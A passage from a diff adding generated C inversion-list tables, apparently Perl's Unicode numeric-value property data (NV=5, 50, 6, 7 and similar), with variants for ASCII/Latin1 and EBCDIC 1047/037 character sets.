+	0xC6B,
+	0xC6C,
+	0xCEB,
+	0xCEC,
+	0xD6B,
+	0xD6C,
+	0xDEB,
+	0xDEC,
+	0xE55,
+	0xE56,
+	0xED5,
+	0xED6,
+	0xF25,
+	0xF26,
+	0x1045,
+	0x1046,
+	0x1095,
+	0x1096,
+	0x136D,
+	0x136E,
+	0x17E5,
+	0x17E6,
+	0x17F5,
+	0x17F6,
+	0x1815,
+	0x1816,
+	0x194B,
+	0x194C,
+	0x19D5,
+	0x19D6,
+	0x1A85,
+	0x1A86,
+	0x1A95,
+	0x1A96,
+	0x1B55,
+	0x1B56,
+	0x1BB5,
+	0x1BB6,
+	0x1C45,
+	0x1C46,
+	0x1C55,
+	0x1C56,
+	0x2075,
+	0x2076,
+	0x2085,
+	0x2086,
+	0x2164,
+	0x2165,
+	0x2174,
+	0x2175,
+	0x2464,
+	0x2465,
+	0x2478,
+	0x2479,
+	0x248C,
+	0x248D,
+	0x24F9,
+	0x24FA,
+	0x277A,
+	0x277B,
+	0x2784,
+	0x2785,
+	0x278E,
+	0x278F,
+	0x3025,
+	0x3026,
+	0x3224,
+	0x3225,
+	0x3284,
+	0x3285,
+	0x3405,
+	0x3406,
+	0x382A,
+	0x382B,
+	0x4E94,
+	0x4E95,
+	0x4F0D,
+	0x4F0E,
+	0xA625,
+	0xA626,
+	0xA6EA,
+	0xA6EB,
+	0xA8D5,
+	0xA8D6,
+	0xA905,
+	0xA906,
+	0xA9D5,
+	0xA9D6,
+	0xA9F5,
+	0xA9F6,
+	0xAA55,
+	0xAA56,
+	0xABF5,
+	0xABF6,
+	0xFF15,
+	0xFF16,
+	0x1010B,
+	0x1010C,
+	0x10143,
+	0x10144,
+	0x10148,
+	0x10149,
+	0x1014F,
+	0x10150,
+	0x1015F,
+	0x10160,
+	0x10173,
+	0x10174,
+	0x102E5,
+	0x102E6,
+	0x10321,
+	0x10322,
+	0x104A5,
+	0x104A6,
+	0x1087D,
+	0x1087E,
+	0x108AC,
+	0x108AD,
+	0x108FC,
+	0x108FD,
+	0x109C4,
+	0x109C5,
+	0x10AEC,
+	0x10AED,
+	0x10CFB,
+	0x10CFC,
+	0x10E64,
+	0x10E65,
+	0x11056,
+	0x11057,
+	0x1106B,
+	0x1106C,
+	0x110F5,
+	0x110F6,
+	0x1113B,
+	0x1113C,
+	0x111D5,
+	0x111D6,
+	0x111E5,
+	0x111E6,
+	0x112F5,
+	0x112F6,
+	0x11455,
+	0x11456,
+	0x114D5,
+	0x114D6,
+	0x11655,
+	0x11656,
+	0x116C5,
+	0x116C6,
+	0x11735,
+	0x11736,
+	0x118E5,
+	0x118E6,
+	0x11C55,
+	0x11C56,
+	0x11C5E,
+	0x11C5F,
+	0x11D55,
+	0x11D56,
+	0x12403,
+	0x12404,
+	0x1240A,
+	0x1240B,
+	0x12410,
+	0x12411,
+	0x12419,
+	0x1241A,
+	0x12422,
+	0x12423,
+	0x12427,
+	0x12428,
+	0x12431,
+	0x12432,
+	0x12439,
+	0x1243A,
+	0x1244D,
+	0x1244E,
+	0x12454,
+	0x12456,
+	0x1246A,
+	0x1246B,
+	0x16A65,
+	0x16A66,
+	0x16B55,
+	0x16B56,
+	0x1D364,
+	0x1D365,
+	0x1D7D3,
+	0x1D7D4,
+	0x1D7DD,
+	0x1D7DE,
+	0x1D7E7,
+	0x1D7E8,
+	0x1D7F1,
+	0x1D7F2,
+	0x1D7FB,
+	0x1D7FC,
+	0x1E8CB,
+	0x1E8CC,
+	0x1E955,
+	0x1E956,
+	0x1F106,
+	0x1F107,
+	0x20121,
+	0x20122
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__5_invlist[] = { /* for EBCDIC 037 */
+	227,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF5,
+	0xF6,
+	0x665,
+	0x666,
+	0x6F5,
+	0x6F6,
+	0x7C5,
+	0x7C6,
+	0x96B,
+	0x96C,
+	0x9EB,
+	0x9EC,
+	0xA6B,
+	0xA6C,
+	0xAEB,
+	0xAEC,
+	0xB6B,
+	0xB6C,
+	0xBEB,
+	0xBEC,
+	0xC6B,
+	0xC6C,
+	0xCEB,
+	0xCEC,
+	0xD6B,
+	0xD6C,
+	0xDEB,
+	0xDEC,
+	0xE55,
+	0xE56,
+	0xED5,
+	0xED6,
+	0xF25,
+	0xF26,
+	0x1045,
+	0x1046,
+	0x1095,
+	0x1096,
+	0x136D,
+	0x136E,
+	0x17E5,
+	0x17E6,
+	0x17F5,
+	0x17F6,
+	0x1815,
+	0x1816,
+	0x194B,
+	0x194C,
+	0x19D5,
+	0x19D6,
+	0x1A85,
+	0x1A86,
+	0x1A95,
+	0x1A96,
+	0x1B55,
+	0x1B56,
+	0x1BB5,
+	0x1BB6,
+	0x1C45,
+	0x1C46,
+	0x1C55,
+	0x1C56,
+	0x2075,
+	0x2076,
+	0x2085,
+	0x2086,
+	0x2164,
+	0x2165,
+	0x2174,
+	0x2175,
+	0x2464,
+	0x2465,
+	0x2478,
+	0x2479,
+	0x248C,
+	0x248D,
+	0x24F9,
+	0x24FA,
+	0x277A,
+	0x277B,
+	0x2784,
+	0x2785,
+	0x278E,
+	0x278F,
+	0x3025,
+	0x3026,
+	0x3224,
+	0x3225,
+	0x3284,
+	0x3285,
+	0x3405,
+	0x3406,
+	0x382A,
+	0x382B,
+	0x4E94,
+	0x4E95,
+	0x4F0D,
+	0x4F0E,
+	0xA625,
+	0xA626,
+	0xA6EA,
+	0xA6EB,
+	0xA8D5,
+	0xA8D6,
+	0xA905,
+	0xA906,
+	0xA9D5,
+	0xA9D6,
+	0xA9F5,
+	0xA9F6,
+	0xAA55,
+	0xAA56,
+	0xABF5,
+	0xABF6,
+	0xFF15,
+	0xFF16,
+	0x1010B,
+	0x1010C,
+	0x10143,
+	0x10144,
+	0x10148,
+	0x10149,
+	0x1014F,
+	0x10150,
+	0x1015F,
+	0x10160,
+	0x10173,
+	0x10174,
+	0x102E5,
+	0x102E6,
+	0x10321,
+	0x10322,
+	0x104A5,
+	0x104A6,
+	0x1087D,
+	0x1087E,
+	0x108AC,
+	0x108AD,
+	0x108FC,
+	0x108FD,
+	0x109C4,
+	0x109C5,
+	0x10AEC,
+	0x10AED,
+	0x10CFB,
+	0x10CFC,
+	0x10E64,
+	0x10E65,
+	0x11056,
+	0x11057,
+	0x1106B,
+	0x1106C,
+	0x110F5,
+	0x110F6,
+	0x1113B,
+	0x1113C,
+	0x111D5,
+	0x111D6,
+	0x111E5,
+	0x111E6,
+	0x112F5,
+	0x112F6,
+	0x11455,
+	0x11456,
+	0x114D5,
+	0x114D6,
+	0x11655,
+	0x11656,
+	0x116C5,
+	0x116C6,
+	0x11735,
+	0x11736,
+	0x118E5,
+	0x118E6,
+	0x11C55,
+	0x11C56,
+	0x11C5E,
+	0x11C5F,
+	0x11D55,
+	0x11D56,
+	0x12403,
+	0x12404,
+	0x1240A,
+	0x1240B,
+	0x12410,
+	0x12411,
+	0x12419,
+	0x1241A,
+	0x12422,
+	0x12423,
+	0x12427,
+	0x12428,
+	0x12431,
+	0x12432,
+	0x12439,
+	0x1243A,
+	0x1244D,
+	0x1244E,
+	0x12454,
+	0x12456,
+	0x1246A,
+	0x1246B,
+	0x16A65,
+	0x16A66,
+	0x16B55,
+	0x16B56,
+	0x1D364,
+	0x1D365,
+	0x1D7D3,
+	0x1D7D4,
+	0x1D7DD,
+	0x1D7DE,
+	0x1D7E7,
+	0x1D7E8,
+	0x1D7F1,
+	0x1D7F2,
+	0x1D7FB,
+	0x1D7FC,
+	0x1E8CB,
+	0x1E8CC,
+	0x1E955,
+	0x1E956,
+	0x1F106,
+	0x1F107,
+	0x20121,
+	0x20122
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_NV__5_SLASH_12_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x109FA,
+	0x109FB
+};
+
+static const UV PL_NV__5_SLASH_2_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF2C,
+	0xF2D
+};
+
+static const UV PL_NV__5_SLASH_6_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x215A,
+	0x215B,
+	0x109FF,
+	0x10A00,
+	0x1245C,
+	0x1245D
+};
+
+static const UV PL_NV__5_SLASH_8_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x215D,
+	0x215E
+};
+
+static const UV PL_NV__50_invlist[] = { /* for all charsets */
+	49,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1376,
+	0x1377,
+	0x216C,
+	0x216D,
+	0x217C,
+	0x217D,
+	0x2186,
+	0x2187,
+	0x324C,
+	0x324D,
+	0x32BF,
+	0x32C0,
+	0x10114,
+	0x10115,
+	0x10144,
+	0x10145,
+	0x1014A,
+	0x1014B,
+	0x10151,
+	0x10152,
+	0x10166,
+	0x1016A,
+	0x10174,
+	0x10175,
+	0x102EE,
+	0x102EF,
+	0x10323,
+	0x10324,
+	0x109CD,
+	0x109CE,
+	0x10A7E,
+	0x10A7F,
+	0x10CFD,
+	0x10CFE,
+	0x10E6D,
+	0x10E6E,
+	0x1105F,
+	0x11060,
+	0x111EE,
+	0x111EF,
+	0x118EE,
+	0x118EF,
+	0x11C67,
+	0x11C68,
+	0x12468,
+	0x12469,
+	0x1D36D,
+	0x1D36E
+};
+
+static const UV PL_NV__500_invlist[] = { /* for all charsets */
+	21,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x216E,
+	0x216F,
+	0x217E,
+	0x217F,
+	0x1011D,
+	0x1011E,
+	0x10145,
+	0x10146,
+	0x1014C,
+	0x1014D,
+	0x10153,
+	0x10154,
+	0x1016C,
+	0x10171,
+	0x102F7,
+	0x102F8,
+	0x109D6,
+	0x109D7,
+	0x10E76,
+	0x10E77
+};
+
+static const UV PL_NV__5000_invlist[] = { /* for all charsets */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2181,
+	0x2182,
+	0x10126,
+	0x10127,
+	0x10146,
+	0x10147,
+	0x1014E,
+	0x1014F,
+	0x10172,
+	0x10173,
+	0x109DF,
+	0x109E0
+};
+
+static const UV PL_NV__50000_invlist[] = { /* for all charsets */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2187,
+	0x2188,
+	0x1012F,
+	0x10130,
+	0x10147,
+	0x10148,
+	0x10156,
+	0x10157,
+	0x109E8,
+	0x109E9
+};
+
+static const UV PL_NV__500000_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x109F1,
+	0x109F2
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_NV__6_invlist[] = { /* for ASCII/Latin1 */
+	203,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x36,
+	0x37,
+	0x666,
+	0x667,
+	0x6F6,
+	0x6F7,
+	0x7C6,
+	0x7C7,
+	0x96C,
+	0x96D,
+	0x9EC,
+	0x9ED,
+	0xA6C,
+	0xA6D,
+	0xAEC,
+	0xAED,
+	0xB6C,
+	0xB6D,
+	0xBEC,
+	0xBED,
+	0xC6C,
+	0xC6D,
+	0xCEC,
+	0xCED,
+	0xD6C,
+	0xD6D,
+	0xDEC,
+	0xDED,
+	0xE56,
+	0xE57,
+	0xED6,
+	0xED7,
+	0xF26,
+	0xF27,
+	0x1046,
+	0x1047,
+	0x1096,
+	0x1097,
+	0x136E,
+	0x136F,
+	0x17E6,
+	0x17E7,
+	0x17F6,
+	0x17F7,
+	0x1816,
+	0x1817,
+	0x194C,
+	0x194D,
+	0x19D6,
+	0x19D7,
+	0x1A86,
+	0x1A87,
+	0x1A96,
+	0x1A97,
+	0x1B56,
+	0x1B57,
+	0x1BB6,
+	0x1BB7,
+	0x1C46,
+	0x1C47,
+	0x1C56,
+	0x1C57,
+	0x2076,
+	0x2077,
+	0x2086,
+	0x2087,
+	0x2165,
+	0x2166,
+	0x2175,
+	0x2176,
+	0x2185,
+	0x2186,
+	0x2465,
+	0x2466,
+	0x2479,
+	0x247A,
+	0x248D,
+	0x248E,
+	0x24FA,
+	0x24FB,
+	0x277B,
+	0x277C,
+	0x2785,
+	0x2786,
+	0x278F,
+	0x2790,
+	0x3026,
+	0x3027,
+	0x3225,
+	0x3226,
+	0x3285,
+	0x3286,
+	0x516D,
+	0x516E,
+	0x9646,
+	0x9647,
+	0x9678,
+	0x9679,
+	0xA626,
+	0xA627,
+	0xA6EB,
+	0xA6EC,
+	0xA8D6,
+	0xA8D7,
+	0xA906,
+	0xA907,
+	0xA9D6,
+	0xA9D7,
+	0xA9F6,
+	0xA9F7,
+	0xAA56,
+	0xAA57,
+	0xABF6,
+	0xABF7,
+	0xF9D1,
+	0xF9D2,
+	0xF9D3,
+	0xF9D4,
+	0xFF16,
+	0xFF17,
+	0x1010C,
+	0x1010D,
+	0x102E6,
+	0x102E7,
+	0x104A6,
+	0x104A7,
+	0x109C5,
+	0x109C6,
+	0x10E65,
+	0x10E66,
+	0x11057,
+	0x11058,
+	0x1106C,
+	0x1106D,
+	0x110F6,
+	0x110F7,
+	0x1113C,
+	0x1113D,
+	0x111D6,
+	0x111D7,
+	0x111E6,
+	0x111E7,
+	0x112F6,
+	0x112F7,
+	0x11456,
+	0x11457,
+	0x114D6,
+	0x114D7,
+	0x11656,
+	0x11657,
+	0x116C6,
+	0x116C7,
+	0x11736,
+	0x11737,
+	0x118E6,
+	0x118E7,
+	0x11C56,
+	0x11C57,
+	0x11C5F,
+	0x11C60,
+	0x11D56,
+	0x11D57,
+	0x12404,
+	0x12405,
+	0x1240B,
+	0x1240C,
+	0x12411,
+	0x12412,
+	0x1241A,
+	0x1241B,
+	0x12428,
+	0x12429,
+	0x12440,
+	0x12441,
+	0x1244E,
+	0x1244F,
+	0x1246B,
+	0x1246C,
+	0x16A66,
+	0x16A67,
+	0x16B56,
+	0x16B57,
+	0x1D365,
+	0x1D366,
+	0x1D7D4,
+	0x1D7D5,
+	0x1D7DE,
+	0x1D7DF,
+	0x1D7E8,
+	0x1D7E9,
+	0x1D7F2,
+	0x1D7F3,
+	0x1D7FC,
+	0x1D7FD,
+	0x1E8CC,
+	0x1E8CD,
+	0x1E956,
+	0x1E957,
+	0x1F107,
+	0x1F108,
+	0x20AEA,
+	0x20AEB
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__6_invlist[] = { /* for EBCDIC 1047 */
+	203,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF6,
+	0xF7,
+	0x666,
+	0x667,
+	0x6F6,
+	0x6F7,
+	0x7C6,
+	0x7C7,
+	0x96C,
+	0x96D,
+	0x9EC,
+	0x9ED,
+	0xA6C,
+	0xA6D,
+	0xAEC,
+	0xAED,
+	0xB6C,
+	0xB6D,
+	0xBEC,
+	0xBED,
+	0xC6C,
+	0xC6D,
+	0xCEC,
+	0xCED,
+	0xD6C,
+	0xD6D,
+	0xDEC,
+	0xDED,
+	0xE56,
+	0xE57,
+	0xED6,
+	0xED7,
+	0xF26,
+	0xF27,
+	0x1046,
+	0x1047,
+	0x1096,
+	0x1097,
+	0x136E,
+	0x136F,
+	0x17E6,
+	0x17E7,
+	0x17F6,
+	0x17F7,
+	0x1816,
+	0x1817,
+	0x194C,
+	0x194D,
+	0x19D6,
+	0x19D7,
+	0x1A86,
+	0x1A87,
+	0x1A96,
+	0x1A97,
+	0x1B56,
+	0x1B57,
+	0x1BB6,
+	0x1BB7,
+	0x1C46,
+	0x1C47,
+	0x1C56,
+	0x1C57,
+	0x2076,
+	0x2077,
+	0x2086,
+	0x2087,
+	0x2165,
+	0x2166,
+	0x2175,
+	0x2176,
+	0x2185,
+	0x2186,
+	0x2465,
+	0x2466,
+	0x2479,
+	0x247A,
+	0x248D,
+	0x248E,
+	0x24FA,
+	0x24FB,
+	0x277B,
+	0x277C,
+	0x2785,
+	0x2786,
+	0x278F,
+	0x2790,
+	0x3026,
+	0x3027,
+	0x3225,
+	0x3226,
+	0x3285,
+	0x3286,
+	0x516D,
+	0x516E,
+	0x9646,
+	0x9647,
+	0x9678,
+	0x9679,
+	0xA626,
+	0xA627,
+	0xA6EB,
+	0xA6EC,
+	0xA8D6,
+	0xA8D7,
+	0xA906,
+	0xA907,
+	0xA9D6,
+	0xA9D7,
+	0xA9F6,
+	0xA9F7,
+	0xAA56,
+	0xAA57,
+	0xABF6,
+	0xABF7,
+	0xF9D1,
+	0xF9D2,
+	0xF9D3,
+	0xF9D4,
+	0xFF16,
+	0xFF17,
+	0x1010C,
+	0x1010D,
+	0x102E6,
+	0x102E7,
+	0x104A6,
+	0x104A7,
+	0x109C5,
+	0x109C6,
+	0x10E65,
+	0x10E66,
+	0x11057,
+	0x11058,
+	0x1106C,
+	0x1106D,
+	0x110F6,
+	0x110F7,
+	0x1113C,
+	0x1113D,
+	0x111D6,
+	0x111D7,
+	0x111E6,
+	0x111E7,
+	0x112F6,
+	0x112F7,
+	0x11456,
+	0x11457,
+	0x114D6,
+	0x114D7,
+	0x11656,
+	0x11657,
+	0x116C6,
+	0x116C7,
+	0x11736,
+	0x11737,
+	0x118E6,
+	0x118E7,
+	0x11C56,
+	0x11C57,
+	0x11C5F,
+	0x11C60,
+	0x11D56,
+	0x11D57,
+	0x12404,
+	0x12405,
+	0x1240B,
+	0x1240C,
+	0x12411,
+	0x12412,
+	0x1241A,
+	0x1241B,
+	0x12428,
+	0x12429,
+	0x12440,
+	0x12441,
+	0x1244E,
+	0x1244F,
+	0x1246B,
+	0x1246C,
+	0x16A66,
+	0x16A67,
+	0x16B56,
+	0x16B57,
+	0x1D365,
+	0x1D366,
+	0x1D7D4,
+	0x1D7D5,
+	0x1D7DE,
+	0x1D7DF,
+	0x1D7E8,
+	0x1D7E9,
+	0x1D7F2,
+	0x1D7F3,
+	0x1D7FC,
+	0x1D7FD,
+	0x1E8CC,
+	0x1E8CD,
+	0x1E956,
+	0x1E957,
+	0x1F107,
+	0x1F108,
+	0x20AEA,
+	0x20AEB
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__6_invlist[] = { /* for EBCDIC 037 */
+	203,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF6,
+	0xF7,
+	0x666,
+	0x667,
+	0x6F6,
+	0x6F7,
+	0x7C6,
+	0x7C7,
+	0x96C,
+	0x96D,
+	0x9EC,
+	0x9ED,
+	0xA6C,
+	0xA6D,
+	0xAEC,
+	0xAED,
+	0xB6C,
+	0xB6D,
+	0xBEC,
+	0xBED,
+	0xC6C,
+	0xC6D,
+	0xCEC,
+	0xCED,
+	0xD6C,
+	0xD6D,
+	0xDEC,
+	0xDED,
+	0xE56,
+	0xE57,
+	0xED6,
+	0xED7,
+	0xF26,
+	0xF27,
+	0x1046,
+	0x1047,
+	0x1096,
+	0x1097,
+	0x136E,
+	0x136F,
+	0x17E6,
+	0x17E7,
+	0x17F6,
+	0x17F7,
+	0x1816,
+	0x1817,
+	0x194C,
+	0x194D,
+	0x19D6,
+	0x19D7,
+	0x1A86,
+	0x1A87,
+	0x1A96,
+	0x1A97,
+	0x1B56,
+	0x1B57,
+	0x1BB6,
+	0x1BB7,
+	0x1C46,
+	0x1C47,
+	0x1C56,
+	0x1C57,
+	0x2076,
+	0x2077,
+	0x2086,
+	0x2087,
+	0x2165,
+	0x2166,
+	0x2175,
+	0x2176,
+	0x2185,
+	0x2186,
+	0x2465,
+	0x2466,
+	0x2479,
+	0x247A,
+	0x248D,
+	0x248E,
+	0x24FA,
+	0x24FB,
+	0x277B,
+	0x277C,
+	0x2785,
+	0x2786,
+	0x278F,
+	0x2790,
+	0x3026,
+	0x3027,
+	0x3225,
+	0x3226,
+	0x3285,
+	0x3286,
+	0x516D,
+	0x516E,
+	0x9646,
+	0x9647,
+	0x9678,
+	0x9679,
+	0xA626,
+	0xA627,
+	0xA6EB,
+	0xA6EC,
+	0xA8D6,
+	0xA8D7,
+	0xA906,
+	0xA907,
+	0xA9D6,
+	0xA9D7,
+	0xA9F6,
+	0xA9F7,
+	0xAA56,
+	0xAA57,
+	0xABF6,
+	0xABF7,
+	0xF9D1,
+	0xF9D2,
+	0xF9D3,
+	0xF9D4,
+	0xFF16,
+	0xFF17,
+	0x1010C,
+	0x1010D,
+	0x102E6,
+	0x102E7,
+	0x104A6,
+	0x104A7,
+	0x109C5,
+	0x109C6,
+	0x10E65,
+	0x10E66,
+	0x11057,
+	0x11058,
+	0x1106C,
+	0x1106D,
+	0x110F6,
+	0x110F7,
+	0x1113C,
+	0x1113D,
+	0x111D6,
+	0x111D7,
+	0x111E6,
+	0x111E7,
+	0x112F6,
+	0x112F7,
+	0x11456,
+	0x11457,
+	0x114D6,
+	0x114D7,
+	0x11656,
+	0x11657,
+	0x116C6,
+	0x116C7,
+	0x11736,
+	0x11737,
+	0x118E6,
+	0x118E7,
+	0x11C56,
+	0x11C57,
+	0x11C5F,
+	0x11C60,
+	0x11D56,
+	0x11D57,
+	0x12404,
+	0x12405,
+	0x1240B,
+	0x1240C,
+	0x12411,
+	0x12412,
+	0x1241A,
+	0x1241B,
+	0x12428,
+	0x12429,
+	0x12440,
+	0x12441,
+	0x1244E,
+	0x1244F,
+	0x1246B,
+	0x1246C,
+	0x16A66,
+	0x16A67,
+	0x16B56,
+	0x16B57,
+	0x1D365,
+	0x1D366,
+	0x1D7D4,
+	0x1D7D5,
+	0x1D7DE,
+	0x1D7DF,
+	0x1D7E8,
+	0x1D7E9,
+	0x1D7F2,
+	0x1D7F3,
+	0x1D7FC,
+	0x1D7FD,
+	0x1E8CC,
+	0x1E8CD,
+	0x1E956,
+	0x1E957,
+	0x1F107,
+	0x1F108,
+	0x20AEA,
+	0x20AEB
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_NV__60_invlist[] = { /* for all charsets */
+	23,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1377,
+	0x1378,
+	0x324D,
+	0x324E,
+	0x10115,
+	0x10116,
+	0x102EF,
+	0x102F0,
+	0x109CE,
+	0x109CF,
+	0x10E6E,
+	0x10E6F,
+	0x11060,
+	0x11061,
+	0x111EF,
+	0x111F0,
+	0x118EF,
+	0x118F0,
+	0x11C68,
+	0x11C69,
+	0x1D36E,
+	0x1D36F
+};
+
+static const UV PL_NV__600_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1011E,
+	0x1011F,
+	0x102F8,
+	0x102F9,
+	0x109D7,
+	0x109D8,
+	0x10E77,
+	0x10E78
+};
+
+static const UV PL_NV__6000_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10127,
+	0x10128,
+	0x109E0,
+	0x109E1
+};
+
+static const UV PL_NV__60000_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10130,
+	0x10131,
+	0x109E9,
+	0x109EA
+};
+
+static const UV PL_NV__600000_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x109F2,
+	0x109F3
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_NV__7_invlist[] = { /* for ASCII/Latin1 */
+	197,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x37,
+	0x38,
+	0x667,
+	0x668,
+	0x6F7,
+	0x6F8,
+	0x7C7,
+	0x7C8,
+	0x96D,
+	0x96E,
+	0x9ED,
+	0x9EE,
+	0xA6D,
+	0xA6E,
+	0xAED,
+	0xAEE,
+	0xB6D,
+	0xB6E,
+	0xBED,
+	0xBEE,
+	0xC6D,
+	0xC6E,
+	0xCED,
+	0xCEE,
+	0xD6D,
+	0xD6E,
+	0xDED,
+	0xDEE,
+	0xE57,
+	0xE58,
+	0xED7,
+	0xED8,
+	0xF27,
+	0xF28,
+	0x1047,
+	0x1048,
+	0x1097,
+	0x1098,
+	0x136F,
+	0x1370,
+	0x17E7,
+	0x17E8,
+	0x17F7,
+	0x17F8,
+	0x1817,
+	0x1818,
+	0x194D,
+	0x194E,
+	0x19D7,
+	0x19D8,
+	0x1A87,
+	0x1A88,
+	0x1A97,
+	0x1A98,
+	0x1B57,
+	0x1B58,
+	0x1BB7,
+	0x1BB8,
+	0x1C47,
+	0x1C48,
+	0x1C57,
+	0x1C58,
+	0x2077,
+	0x2078,
+	0x2087,
+	0x2088,
+	0x2166,
+	0x2167,
+	0x2176,
+	0x2177,
+	0x2466,
+	0x2467,
+	0x247A,
+	0x247B,
+	0x248E,
+	0x248F,
+	0x24FB,
+	0x24FC,
+	0x277C,
+	0x277D,
+	0x2786,
+	0x2787,
+	0x2790,
+	0x2791,
+	0x3027,
+	0x3028,
+	0x3226,
+	0x3227,
+	0x3286,
+	0x3287,
+	0x3B4D,
+	0x3B4E,
+	0x4E03,
+	0x4E04,
+	0x67D2,
+	0x67D3,
+	0x6F06,
+	0x6F07,
+	0xA627,
+	0xA628,
+	0xA6EC,
+	0xA6ED,
+	0xA8D7,
+	0xA8D8,
+	0xA907,
+	0xA908,
+	0xA9D7,
+	0xA9D8,
+	0xA9F7,
+	0xA9F8,
+	0xAA57,
+	0xAA58,
+	0xABF7,
+	0xABF8,
+	0xFF17,
+	0xFF18,
+	0x1010D,
+	0x1010E,
+	0x102E7,
+	0x102E8,
+	0x104A7,
+	0x104A8,
+	0x109C6,
+	0x109C7,
+	0x10E66,
+	0x10E67,
+	0x11058,
+	0x11059,
+	0x1106D,
+	0x1106E,
+	0x110F7,
+	0x110F8,
+	0x1113D,
+	0x1113E,
+	0x111D7,
+	0x111D8,
+	0x111E7,
+	0x111E8,
+	0x112F7,
+	0x112F8,
+	0x11457,
+	0x11458,
+	0x114D7,
+	0x114D8,
+	0x11657,
+	0x11658,
+	0x116C7,
+	0x116C8,
+	0x11737,
+	0x11738,
+	0x118E7,
+	0x118E8,
+	0x11C57,
+	0x11C58,
+	0x11C60,
+	0x11C61,
+	0x11D57,
+	0x11D58,
+	0x12405,
+	0x12406,
+	0x1240C,
+	0x1240D,
+	0x12412,
+	0x12413,
+	0x1241B,
+	0x1241C,
+	0x12429,
+	0x1242A,
+	0x12441,
+	0x12444,
+	0x1246C,
+	0x1246D,
+	0x16A67,
+	0x16A68,
+	0x16B57,
+	0x16B58,
+	0x1D366,
+	0x1D367,
+	0x1D7D5,
+	0x1D7D6,
+	0x1D7DF,
+	0x1D7E0,
+	0x1D7E9,
+	0x1D7EA,
+	0x1D7F3,
+	0x1D7F4,
+	0x1D7FD,
+	0x1D7FE,
+	0x1E8CD,
+	0x1E8CE,
+	0x1E957,
+	0x1E958,
+	0x1F108,
+	0x1F109,
+	0x20001,
+	0x20002
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
